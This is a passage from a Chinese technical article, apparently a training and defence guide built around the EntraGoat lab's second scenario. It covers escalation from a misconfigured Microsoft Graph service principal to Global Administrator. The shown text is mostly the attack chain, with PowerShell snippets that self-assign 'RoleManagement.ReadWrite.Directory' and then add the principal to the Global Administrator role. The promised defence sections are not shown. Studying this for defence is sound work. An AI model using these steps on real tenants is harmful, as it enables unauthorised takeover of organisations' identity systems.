EntraGoat场景2技术解析：Graph权限滥用导致的特权升级防御指南

2026-04-23 10:55:10作者：丁柯新Fawn

Graph权限滥用已成为企业身份安全的重大威胁，攻击者可通过精心构造的权限链实现从普通用户到全局管理员的权限跃升。本文以EntraGoat场景2为研究对象，深入剖析"AppRoleAssignment.ReadWrite.All"权限的滥用原理，完整还原攻击链路，并提供覆盖检测、响应、修复和预防的全周期防御策略。通过本文学习，安全从业者将掌握Graph API权限风险评估方法和实战防御技巧，有效加固企业身份基础设施安全。

一、漏洞原理深度剖析：Graph权限的双刃剑效应

1.1 权限设计缺陷：过度授权的安全陷阱

Microsoft Graph API作为连接Microsoft 365服务的核心接口，其权限体系设计存在天然复杂性。"AppRoleAssignment.ReadWrite.All"权限本意是允许服务主体管理应用角色分配，但其设计未充分考虑权限滥用风险，导致服务主体可对自身进行权限分配。在EntraGoat场景中，"Corporate Finance Analytics"服务主体被错误配置了此高危权限，为攻击者提供了权限提升的初始跳板。

1.2 权限链利用：从应用权限到目录角色的跃升

攻击者利用初始获得的"AppRoleAssignment.ReadWrite.All"权限，构建了完整的权限升级链：首先为自身授予"RoleManagement.ReadWrite.Directory"权限，获得目录角色管理能力；随后利用该权限直接将自己添加为全局管理员。这种"自我授权"的攻击模式暴露出Graph权限边界控制的严重缺陷，使得低权限主体能够通过权限叠加实现特权升级。

1.3 真实案例映射：企业环境中的权限滥用风险

2023年某跨国企业云环境入侵事件中，攻击者正是利用类似手法，通过泄露的服务主体证书，借助过度配置的Graph权限实现了租户管理员权限接管。该事件导致超过10万用户数据泄露，直接经济损失达2000万美元。这一案例印证了EntraGoat场景2所模拟风险的现实危害性，凸显了Graph权限精细化管控的必要性。

二、攻击链路重建：从证书泄露到完全控制的五个关键步骤

2.1 初始访问：证书获取与服务主体认证

攻击者首先获得属于"Corporate Finance Analytics"服务主体的PFX证书。通过该证书，攻击者使用Connect-MgGraph命令以服务主体身份成功认证，获得初始访问令牌。此时攻击者仅拥有有限的应用权限，但已具备在Graph API中执行操作的基础条件。

2.2 权限自我分配：利用AppRoleAssignment实现权限跃升

利用"AppRoleAssignment.ReadWrite.All"权限，攻击者调用Graph API为自身服务主体分配"RoleManagement.ReadWrite.Directory"权限。关键执行代码如下：

$graphApiUrl = "https://graph.microsoft.com/v1.0/servicePrincipals/$servicePrincipalId/appRoleAssignments"
$body = @{
  principalId = $servicePrincipalId
  resourceId = $graphServicePrincipalId
  appRoleId = $roleManagementReadWriteDirectoryId
}
Invoke-MgGraphRequest -Method Post -Uri $graphApiUrl -Body $body

2.3 令牌刷新：权限变更的生效机制

完成权限分配后，攻击者断开当前Graph会话并重新连接，以获取包含新权限的访问令牌。这一步是权限提升成功的关键，因为原有令牌不会自动更新权限集合，必须通过重新认证使新分配的"RoleManagement.ReadWrite.Directory"权限生效。

2.4 全局管理员角色分配：最终权限获取

使用更新后的权限，攻击者执行以下操作将自己添加为全局管理员：

$roleDefinitionId = (Get-MgDirectoryRole | Where-Object { $_.DisplayName -eq "Global Administrator" }).Id
New-MgDirectoryRoleMemberByRef -DirectoryRoleId $roleDefinitionId -BodyParameter @{
  "@odata.id" = "https://graph.microsoft.com/v1.0/directoryObjects/$servicePrincipalId"
}